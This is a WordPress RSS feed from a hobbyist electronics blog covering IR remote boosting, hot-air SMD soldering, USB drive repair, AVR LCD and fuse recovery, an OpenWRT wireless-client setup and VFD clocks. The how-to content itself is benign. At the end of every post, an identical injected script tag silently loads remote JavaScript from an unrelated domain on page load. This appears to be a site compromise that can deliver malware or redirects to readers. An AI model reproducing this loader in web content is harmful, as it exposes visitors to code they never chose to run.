<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; diy</title>
	<atom:link href="http://www.larsen-b.com/tags/diy/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Boosting IR remote video sender (Thomson VS360U)</title>
		<link>http://www.larsen-b.com/Article/364.html</link>
		<comments>http://www.larsen-b.com/Article/364.html#comments</comments>
		<pubDate>Sat, 21 Aug 2010 14:21:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[infrared]]></category>
		<category><![CDATA[transistor]]></category>
		<category><![CDATA[video sender]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=364</guid>
		<description><![CDATA[In my home, I have a bad TV antenna, so we use only the cable receiver to watch TV. But I have two TV sets. I decided to buy a video sender a couple of months ago, but never managed &#8230; <a href="http://www.larsen-b.com/Article/364.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In my home, I have a bad TV antenna, so we use only the cable receiver to watch TV. But I have two TV sets. I decided to buy a video sender a couple of months ago, but never managed to get it working nicely. I bought a Thomson VS360U video sender. This one is really cheap, 24 €, works on the 2.4Ghz for the audio/video and 433Mhz for remote.</p>
<p><img class="alignnone" title="Thomson video sender" src="http://jkx.larsen-b.com/photos/blog/L2210.jpg" alt="" width="250" height="150" /></p>
<p>At the first test, I discovered that the transceiver come with a couple of IR leds. I have to glue each IR led in front of each part of your equipment I want to drive. For me, the cable receiver, the DVD, the Dvico, and the AV amp .. I tried this, but that&#8217;s a mess, each led is soldered on a single string, and tend to move. Not really a nice experience. This is simple to crappy to be use.</p>
<p>I decided to mod it to be able to use a single IR led, with a better gain. The first step is to find the right place to place my mod. Just open the transceiver, locate the power supply (Vcc/Gnd) and the IR transistor. I was quite easy, the only trick is to solder the wire for the IR transistor just before the base resistor. Here is the result.</p>
<p><img class="alignnone" title="Thomson video sender hack-1" src="http://jkx.larsen-b.com/photos/blog/P6113410_contrast.sized.jpg" alt="" width="640" height="575" /></p>
<p>You can find a better pix, in the <a href="http://jkx.larsen-b.com/gallery/blog/P6113410_contrast">gallery.</a> I used a scope to find the IR transistor, but this can be done without.</p>
<p>Let&#8217;s build a simple IR booster, that&#8217;s connect to this pins, and everything will be fine. I used an common BC547 but any common transistor will do the job.</p>
<p><img class="alignnone" title="IR booster schematic" src="http://jkx.larsen-b.com/photos/blog/vs_schem.png" alt="" width="285" height="335" /></p>
<p>The result :</p>
<p><img class="alignnone" title="video sender final" src="http://jkx.larsen-b.com/photos/blog/vs_final.sized.jpg" alt="" width="506" height="640" /></p>
<p>As you can see, this is small. I placed this near my cable receiver and every is working nicely. I can now control every equipment (cable, DVD, Dvico) for my room without any lag, or IR lost signal.</p>
<p>I managed to fix this cheap video sender without to much effort, I&#8217;m happy. This kind of hack can be used in a couple video sender device. The hardest part is to find the IR transistor, the rest is simply the same.</p>
<p><em><strong>Enjoy TV from bed ;) </strong></em><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/364.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SMD Soldering on the cheap</title>
		<link>http://www.larsen-b.com/Article/291.html</link>
		<comments>http://www.larsen-b.com/Article/291.html#comments</comments>
		<pubDate>Tue, 08 Jul 2008 22:20:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[solder]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=291</guid>
		<description><![CDATA[Like a lot of hobbits, I don&#8217;t really like to solder SMD. It&#8217;s hard to solder with a normal soldering iron (even this can be done), and hot air soldering station cost a little. (around 180 Euros shipping included) I &#8230; <a href="http://www.larsen-b.com/Article/291.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Like a lot of hobbits, I don&#8217;t really like to solder SMD. It&#8217;s hard to solder with a normal soldering iron (<a href="http://www.larsen-b.com/Article/288.html">even this can be done</a>), and hot air soldering station cost a little. (around 180 Euros shipping included)</p>
<p>I already talk to my friend Bernt about this. He says he already used a cheap gas hot air gun with good result. Ok, he isn&#8217;t really an hobbist, and have a professional soldering station at work, but &#8230;</p>
<p>Tomorrow morning, he was waiting for me at my work, and gave me <a href="http://www.splashelec.com/catalog/product_info.php/cPath/32/products_id/43">a gas hot air gun</a> (plus additional soldering tip) ..what a great a present ! Thank you guy. In fact, they just started to sell this cheap stuff on their shop: <a href="http://www.splashelec.com/">Splashelec</a>.</p>
<p>Fine, so it&#8217;s time to give it a try no ?</p>
<p>Hum, guess what, I don&#8217;t have any electronic flux at home. In fact this cost too much too ! (and you can&#8217;t stock it for a long time..) but I have some plumber paste on my desk. I use this stuff for wifi antenna not electronic but it should be fine.</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/p7080541.sized.jpg" alt="" /></p>
<p>Simply apply the paste with a brush and use the iron to melt it a bit. As I&#8217;m new to hot air soldering, I decided to use a normal iron to do that. Next step remove the surplus with some water. In fact, you can use a normal solder here, but using the paste is a bit easier to apply &#8230;</p>
<p>Ok ready to play ! Fire !</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/p7090546.sized.jpg" alt="" width="640" height="355" /></p>
<p>And the final step, place the chip on the board. Mount the <a href="http://www.splashelec.com/catalog/product_info.php/cPath/32_33/products_id/45">heat blower</a> on the gun and light it. Set it around the max temperature, and gently approach the chip pins. Don&#8217;t be afraid to take your time, chips are made for a reflow process, so they can handle hot air without too much issue.</p>
<p>Here&#8217;s the result</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/p7080544.sized.jpg" alt="" /></p>
<p>Fine no ? ;) The soldering is quite perfect, it&#8217;s my first time with an hot air soldering gun so.. but I&#8217;m really happy. It&#8217;s really easier than a normal soldering iron.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/291.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Howto repair a broken USB flash drive</title>
		<link>http://www.larsen-b.com/Article/288.html</link>
		<comments>http://www.larsen-b.com/Article/288.html#comments</comments>
		<pubDate>Tue, 29 Apr 2008 23:37:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=288</guid>
		<description><![CDATA[This is not the first time, I break a USB Drive. And I already heard some people complaining about the same stuff. But how is this possible ? Even if I use it a lot, memory and micro-controller are robust &#8230; <a href="http://www.larsen-b.com/Article/288.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This is not the first time, I break a USB Drive. And I already heard some people complaining about the same stuff. But how is this possible ? Even if I use it a lot, memory and micro-controller are robust you know, no special reason for a failure (except of course some anormal write, but this is not the case here)</p>
<p>I decided to open this little key, to look closely. After a quick look, I didn&#8217;t find anything. So this little PCB stuff was laying on me desk, and people play with it. After a couple of weeks, I discover the memory chip is simply de-solder. My friend at work play so much with it, the failure is now apparent. Nice no ?</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02824.sized.jpg" alt="" /></p>
<p>Hum, this little TQFN chip will be hard to solder, that&#8217;s right. But this is do-able no ? I tried this with a small soldering iron and here the result:</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02825.sized.jpg" alt="" /></p>
<p>And yes, the key works fine right now ;) That&#8217;s fine no ? I definitively won&#8217;t trust this drive enought to store important document, but fine for a couple of mp3, or other..<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/288.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lumex Graphic LCD 128&#215;64 (S12864GSF) + AVR (Atmega32)</title>
		<link>http://www.larsen-b.com/Article/274.html</link>
		<comments>http://www.larsen-b.com/Article/274.html#comments</comments>
		<pubDate>Mon, 24 Mar 2008 14:42:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[lcd]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I recently bought 2 LCD from jckrers ebay store. I have a good idea for this stuff, but first I need to run several tests. This LCD are fine and use the common KS108 controller. My first thought was to &#8230; <a href="http://www.larsen-b.com/Article/274.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I recently bought 2 LCD from <a class="reference" href="http://stores.ebay.fr/jckrers-parts">jckrers</a> ebay store. I have a good idea for this stuff, but first I need to run several tests. This LCD are fine and use the common KS108 controller.</p>
<p>My first thought was to use the <a class="reference" href="http://www.mil.ufl.edu/~chrisarnold/components/microcontrollerBoard/AVR/avrlib/">avrlib</a>, so I wired the LCD and started to use avrlib, but I quickly run into issues. In fact, I want to use some icons on, and the avrlib seems to be buggy.</p>
<p>After a little compile/test/run/compile, I remember an old post on a website about KS108 chips. I find it back, it&#8217;s on the <a class="reference" href="http://www.scienceprog.com/controlling-graphical-128x64-lcd-based-on-ks0108/">science prog</a></p>
<p>This is really great, you can build some custom fonts easily (that&#8217;s exactly what i&#8217;m looking for)..</p>
<p>Here a couple of pics&#8230;</p>
<p><img src="http://jkx.larsen-b.com/photos/AlarmClock/DSC02817_003.sized.jpg" alt="http://jkx.larsen-b.com/photos/AlarmClock/DSC02817_003.sized.jpg" /></p>
<p>As you can see, I use a ATMega32 (on a futurelec card), a simple pot for the contrast, and the lumex.</p>
<p><img src="http://jkx.larsen-b.com/photos/AlarmClock/DSC02816_003.sized.jpg" alt="http://jkx.larsen-b.com/photos/AlarmClock/DSC02816_003.sized.jpg" /></p>
<p>I can use a mix of different fonts on the same screen.</p>
<p>And I can even display some pics too :)</p>
<p><img src="http://jkx.larsen-b.com/photos/AlarmClock/DSC02820.sized.jpg" alt="http://jkx.larsen-b.com/photos/AlarmClock/DSC02820.sized.jpg" /></p>
<p>Here the famous tux.</p>
<p>I still have to deal with menu and other stuff, this should be a little harder than expected, but will be nice. If somebody know a good library to use on a T6963C, please post a comment..</p>
<p>For users who wants high res pics, you can find them in my <a class="reference" href="http://jkx.larsen-b.com/gallery/AlarmClock">gallery</a> (as usual).<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/274.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Lot of DIY stuffs to do, so litte time, and waiting for holidays</title>
		<link>http://www.larsen-b.com/Article/265.html</link>
		<comments>http://www.larsen-b.com/Article/265.html#comments</comments>
		<pubDate>Wed, 11 Jul 2007 21:30:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[amp]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[loudspeaker]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok, my english exam is over .. waiting for the final result I had a lot of stuffs on the way right now, so I hope to have the time to finish them before going on holidays here a little &#8230; <a href="http://www.larsen-b.com/Article/265.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok, my english exam is over .. waiting for the final result</p>
<p>I had a lot of stuffs on the way right now, so I hope to have the time to finish them before going on holidays here a little list:</p>
<ul class="simple">
<li>A subwoofer (with a big 12&#8243; woofer that goes damn low !</li>
<li>A subwoofer amp, this is the most hardest part, cause I need to build a mixer, a bandwith filter, and something like a 100W amp.</li>
<li>Finish a little test with my AVR32 (more to come on this way soon)</li>
<li>Repair my current HIFI system (restore some HP, even if I bought a low cost one to wait)</li>
<li>Start my new tube amp (sitll waiting for some big inductors ..)</li>
</ul>
<p>So, I think i will be busy on my holidays :)</p>
<p>Perhaps, I will re-do this website design too, cause I want re-order some stuff, change the color scheme (cause borring right now) &#8230;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/265.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Howto recover wrong fuses settings on a AVR</title>
		<link>http://www.larsen-b.com/Article/260.html</link>
		<comments>http://www.larsen-b.com/Article/260.html#comments</comments>
		<pubDate>Sun, 15 Apr 2007 12:09:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[jtag]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Yesterday, I ran into a issue with an ATMega32. In fact, I wanted to disable the Jtag support on the chips because I need to use the pins used by the Jtag (PC2-PC5). To disable the Jtag, you simply need &#8230; <a href="http://www.larsen-b.com/Article/260.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Yesterday, I ran into a issue with an <a class="reference" href="http://www.atmel.com/dyn/products/product_card.asp?part_id=2014">ATMega32</a>. In fact, I wanted to disable the Jtag support on the chips because I need to use the pins used by the Jtag (PC2-PC5). To disable the Jtag, you simply need to change some fuses. I changed the fuses with the help of the <a class="reference" href="http://palmavr.sourceforge.net/cgi-bin/fc.cgi">Avr Fuse Calculator</a>, but I messed my ATMega with the wrong clock source. I don&#8217;t know how, but I choose the low freq clock. So my ATMega was totally frozen, as the clock settings was wrong, I was unable to reflash it, and worst, unable to change the fuses.</p>
<p>After a little googling, I found there is 3 ways to fixe this kind of issue:</p>
<ul class="simple">
<li>Use a Jtag (as it doesn&#8217;t need a clocked micro)</li>
<li>Use a high voltage programmer (you can erase the fuse, with a programmer that do a parallel programming with RESET plug to a 12v PSU). This kind of programmer aren&#8217;t really easy to find. The only one I know right now is the <a class="reference" href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=2735">STK500</a></li>
<li>Use an external clock (This is what I used, and describe here)</li>
</ul>
<p>As, I don&#8217;t have any Jtag, or STK500, the only way to fix that is to use an external clock. In fact, I decided to ask on the #avr channel on freenode. And a really kool guy (&#8220;rue_mohr&#8221;) give me this tips. On every AVR micro, you can use a external clock if you messed the fuses settings. Simply plug a external clock on the clock pin (XTAL1 on the Mega32), and changes the fuses by this way.</p>
<p>Of course, you need a external clock at something like 1Mhz. Of course I don&#8217;t have this kind generator at home, but this can be easily done with another AVR micro this something like this:</p>
<pre class="literal-block">void main()
{
  DDRA = 0xFF;
  while (1)
  {
     PORTA = ~PINA;
     nop();  // added some nop, to slow the clock a bit
     nop();
   }
}</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/260.html/feed</wfw:commentRss>
		<slash:comments>46</slash:comments>
		</item>
		<item>
		<title>Media Player (Dvico 3100) + Netgear WGT634U = Cheap Wifi Media Player</title>
		<link>http://www.larsen-b.com/Article/258.html</link>
		<comments>http://www.larsen-b.com/Article/258.html#comments</comments>
		<pubDate>Thu, 05 Apr 2007 21:10:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[dvico]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[rs232]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This year, for my birthday I have a very nice Media Player M3100. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know.. The &#8230; <a href="http://www.larsen-b.com/Article/258.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This year, for my birthday I have a very nice Media Player <a class="reference" href="http://www.tvix.co.kr/eng/Products/M3100U.aspx">M3100</a>. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know..</p>
<p>The only issue: I need to take it back to my computer when I want to upload a new film, that&#8217;s it .. When I first received this gift, I went back to the shop to exchange it against a networked one. But 1) they cost a lot more money, 2) not available at the shop. (even if it&#8217;s a really big one).</p>
<p>Last week, somebody sent me a mail. He found some cheap wireless access point with a USB port: Netgear <a class="reference" href="http://kbserver.netgear.com/products/WGT634U.asp">WGT634U</a>. (50Euro) Hum, ok let&#8217;s give it a try. First test, plug a Media Player to this USB port&#8230; ok It&#8217;s working fine. But you know, I don&#8217;t have a network cable near my bed, so I decided to transform the Access Point in a Wireless client. By this way, I can simply plug the Media Player on the WGT634U and remotely put some Divx via FTP, without any wire.</p>
<div id="step-1-install-openwrt" class="section">
<h1><a name="step-1-install-openwrt">Step 1 / Install OpenWRT</a></h1>
<p>The default firmware on the WGT634 doesn&#8217;t support wireless client mode (It&#8217;s a AP). So I switched it to <a class="reference" href="http://wiki.openwrt.org/OpenWrtDocs/Hardware/Netgear/WGT634U">OpenWRT</a> Kamikaze. I build the firmware from source, but the kamikaze snapshot shoud work too. I followed the OpenWRT guide step by step with a external serial plug. You can find the complete howto for the serial connection <a class="reference" href="http://members.shaw.ca/swstuff/wgt634u.html">here</a></p>
<pre class="literal-block"># hit Ctrl-C on the bootloader
CFE&gt; ifconfig eth0 -auto
CFE&gt; flash -noheader tftp_host:openwrt-wgt634u.bin flash0.os
CFE&gt; reboot</pre>
<p>The first boot is a bit long, but all is fine&#8230;</p>
</div>
<div id="step-2-install-tools" class="section">
<h1><a name="step-2-install-tools">Step 2  / Install tools</a></h1>
<p>Here the short list of needed tools:</p>
<ul class="simple">
<li>kmod-usb2</li>
<li>kmod-usb-storage</li>
<li>kmod-vfat</li>
<li>kmod-nls-base, kmod-nls-cp437, kmod-nls-iso8859-1</li>
<li>pure-ftpd</li>
</ul>
<p>with a simple ipkg install via the serial console</p>
</div>
<div id="step-3-configure-openwrt-in-wireless-client" class="section">
<h1><a name="step-3-configure-openwrt-in-wireless-client">Step 3 / Configure OpenWRT in wireless client</a></h1>
<p>This is really simple in kamikaze, only change some files:</p>
<p>The wireless config file need to be tweaked, as I want it to join my MyDummySSID network</p>
<p><em>/etc/config/wireless</em></p>
<pre class="literal-block">config wifi-iface
option device   wifi0
option network  lan
option mode     sta
option ssid     MyDummySSID
option hidden   0
option encryption none</pre>
<p>Let&#8217;s go for the network config: MyDummySSID Access Point is 192.168.3.0/24, gateway in 3.1 and local DNS server is 1.254</p>
<p><em>/etc/config/network</em></p>
<pre class="literal-block">#### LAN configuration
config interface lan
option type     bridge
option ifname   "eth0.0"
option proto    'static'
option ipaddr   '192.168.3.2'
option netmask  '255.255.255.0'
option gateway  '192.168.3.1'
option dns      '192.168.1.254'</pre>
<p>First test: <em>ifdown wan</em> (switch off network) / <em>ifdown br-lan</em> / <em>ifup br-lan</em></p>
</div>
<div id="step-4-firewall" class="section">
<h1><a name="step-4-firewall">Step 4 / Firewall</a></h1>
<p>Ok that&#8217;s fine, but I want to restrict the access to my local network only.. so I need to hack the firewall a little to avoid remote access from other wireless clients (my wireless network is open you know..). Simply linked this little script in /etc/rc.d/</p>
<p><em>/opt/ftp-firewall</em></p>
<pre class="literal-block">#!/bin/sh

# clear all firewall rules
for T in filter nat mangle ; do
iptables -t $T -F
iptables -t $T -X
done

# drop incomming packet
iptables -P FORWARD ACCEPT
iptables -P OUTPUT  ACCEPT
iptables -P INPUT   DROP

# accept traffic on localhost
iptables -A INPUT -p tcp -i lo -j ACCEPT
iptables -A INPUT -p udp -i lo -j ACCEPT

# accept ftp only from my home network
iptables -A INPUT -s 192.168.1.0/24 -p tcp -i br-lan --dport 21 -j ACCEPT

# accept incoming http / ssh
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# finaly accept already open Cnx
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</pre>
</div>
<div id="step-5-misc" class="section">
<h1><a name="step-5-misc">Step 5 / Misc</a></h1>
<p>After some tests, I discover that I need a way to know if the WGT634U managed to join the wireless network or no. So I added this little script, that check for the wireless BSSID, and turn the power led in yellow if something goes wrong .. this is really usefull in fact.</p>
<p><em>/opt/led-daemon</em></p>
<pre class="literal-block">#!/bin/sh

while true
do
{
STATE=$(iwconfig ath0 |grep  00:13:13:53:DA:D1 | wc -l)
[ $STATE -eq 1 ] &amp;&amp; echo 0 &gt; /proc/diag/led/power
[ $STATE -eq 0 ] &amp;&amp; echo 1 &gt; /proc/diag/led/power
sleep 20
}
done</pre>
<p>Foo</p>
</div>
<div id="step-6-finally" class="section">
<h1><a name="step-6-finally">Step 6 / Finally</a></h1>
<p>Here the result:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" /></div>
<p>The finished product (grrr) works really fine and managed to achieve something like 850Ko/sec, I mean full speed ;) (11Mbs network) I need to remove the serial port right now, and close the box..</p>
<p><strong>Important update</strong></p>
<p>I read on Engadget that I use this to stream video to my TV, (like the Apple TV do), but this is absolutely wrong. This media player has a <strong>320Go hard-drive</strong>. Why would stream film on this ? I just put it on that&#8217;s it :)</p>
<p>This is really amazing how people doesn&#8217;t read the article to see what I&#8217;ve done. It&#8217;s not the first time this happen in fact.</p>
<p>Here in France, most advanded users have some network TV from a long time, and this little boxes can play network stream (like the Apple TV) for a long time now. Beside you don&#8217;t pay for this service (rent for the boxes are included in DSL bill), the only issue is that you must have another computer to stream.</p>
<p>I guess nobody here (in France) would by a Apple TV, since we already have this kind of products for free for a long time. Look at a <a class="reference" href="http://fr.wikipedia.org/wiki/Freebox">Freebox</a> for example.</p>
<p><strong>It&#8217;s time to watch a film :)</strong></p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/258.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Scope clock / Round 0</title>
		<link>http://www.larsen-b.com/Article/252.html</link>
		<comments>http://www.larsen-b.com/Article/252.html#comments</comments>
		<pubDate>Sat, 03 Feb 2007 15:24:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[scope]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok, everybody know I&#8217;m a clock builder right now ;) .. So beside I have a lot of stuffs to do, I decided to build a new clock. A good friend, give a old Mullard DH7-11 tube, so it&#8217;s time &#8230; <a href="http://www.larsen-b.com/Article/252.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok, everybody know I&#8217;m a clock builder right now ;) .. So beside I have a lot of stuffs to do, I decided to build a new clock.</p>
<p>A good friend, give a old Mullard DH7-11 tube, so it&#8217;s time to give it a try no ? ;) The main issue right now, is to find the power transformer to light this big guy</p>
<div class="image"><img src="http://www.webx.dk/oz2cpu/clock-scope/dh7-clk.jpg" alt="http://www.webx.dk/oz2cpu/clock-scope/dh7-clk.jpg" /></div>
<p>Finding old part is always hard, but the best thing is to keep on trying. I finally found a transformer builder at great price on eBay.</p>
<p>400v / 5mA transformer isn&#8217;t really common, you know.</p>
<p>For everybody who want to know what a scope clock is check <a class="reference" href="http://www.webx.dk/oz2cpu/clock-scope/scope.htm">this</a>.</p>
<p><strong>Enjoy Ray ?</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/252.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IVL1-7/5 Russian Vacum Tube (VFD) Clock &#8211; Part 1</title>
		<link>http://www.larsen-b.com/Article/250.html</link>
		<comments>http://www.larsen-b.com/Article/250.html#comments</comments>
		<pubDate>Sat, 06 Jan 2007 18:54:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[vfd]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;m now building another clock with a IVL1-7/5. In fact, I&#8217;m preparing a large bench of VFD clock, and I need to test several stuffs, so the schematic isn&#8217;t public right now. This one use quite the same stuff than &#8230; <a href="http://www.larsen-b.com/Article/250.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m now building another clock with a IVL1-7/5. In fact, I&#8217;m preparing a large bench of VFD clock, and I need to test several stuffs, so the schematic isn&#8217;t public right now.</p>
<p>This one use quite the same stuff than my previous I <a class="reference" href="http://www.larsen-b.com/Article/240.html">IV-18</a> clock, the main difference is the VFD power supply, but if you read this weblog, you will understand easily. I will publish the whole design and source code for free soon.</p>
<p>Anyway, here some pictures:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02522.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02522.sized.jpg" /></div>
<p><strong>The PCB made with toner transfert</strong></p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02524.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02524.sized.jpg" /></div>
<p><strong>Soldering SOIC isn&#8217;t that hard ;)</strong></p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02530.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02530.sized.jpg" /></div>
<p><strong>The beast</strong></p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02528.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02528.sized.jpg" /></div>
<p><strong>The VFD tube is really big, and nice no ?</strong></p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/VFDProjects/DSC02531.sized.jpg" alt="http://jkx.larsen-b.com/photos/VFDProjects/DSC02531.sized.jpg" /></div>
<p>As you can see on the latest picture, there is a little gradian due to the filament supply. I haven&#8217;t find a simple to use (as the MAX6921) VFD driver that support AC filament. (MAX6931 is to small for hands soldering)</p>
<p><strong>Enjoy :)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/250.html/feed</wfw:commentRss>
